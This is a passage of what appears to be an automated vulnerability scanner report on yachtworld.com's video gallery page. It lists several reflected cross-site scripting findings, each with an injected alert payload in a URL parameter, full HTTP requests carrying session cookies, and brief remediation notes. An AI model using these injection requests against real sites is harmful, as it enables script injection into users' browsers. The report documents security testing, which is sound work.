s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:29:47 GMT Server: Apache Cache-Control: private Content-Length: 5850 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the &ybw request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 2f837><script>alert(1)</script>eb0413a11fc was submitted in the &ybw parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/video_gallery.jsp?boat_id=2265386&hosturl=clarkslanding&&ywo=clarkslanding&&ybw=2f837><script>alert(1)</script>eb0413a11fc HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:42:09 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the &ywo request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 6b880><script>alert(1)</script>6cd97de7497 was submitted in the &ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/video_gallery.jsp?boat_id=2265386&hosturl=clarkslanding&&ywo=clarkslanding6b880><script>alert(1)</script>6cd97de7497&&ybw= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:42:05 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the boat_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 93bf2'%3balert(1)//a87da5c982d was submitted in the boat_id parameter. This input was echoed as 93bf2';alert(1)//a87da5c982d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/video_gallery.jsp?boat_id=226538693bf2'%3balert(1)//a87da5c982d&hosturl=clarkslanding&&ywo=clarkslanding&&ybw= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 22:41:43 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "226538693bf2';alert(1)//a87da5c982d"<br> ...[SNIP]...
The value of the hosturl request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload c1bb3><script>alert(1)</script>62e89979c99 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/video_gallery.jsp?boat_id=2265386&hosturl=clarkslandingc1bb3><script>alert(1)</script>62e89979c99&&ywo=clarkslanding&&ybw= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:41:53 GMT Server: Apache Cache-Control: private Content-Length: 2594 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the hosturl request parameter is copied into an HTML comment. The payload 73aa4--><script>alert(1)</script>9a0952813dc was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /core/listing/video_gallery.jsp?boat_id=2265386&hosturl=clarkslanding73aa4--><script>alert(1)</script>9a0952813dc&&ywo=clarkslanding&&ybw= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 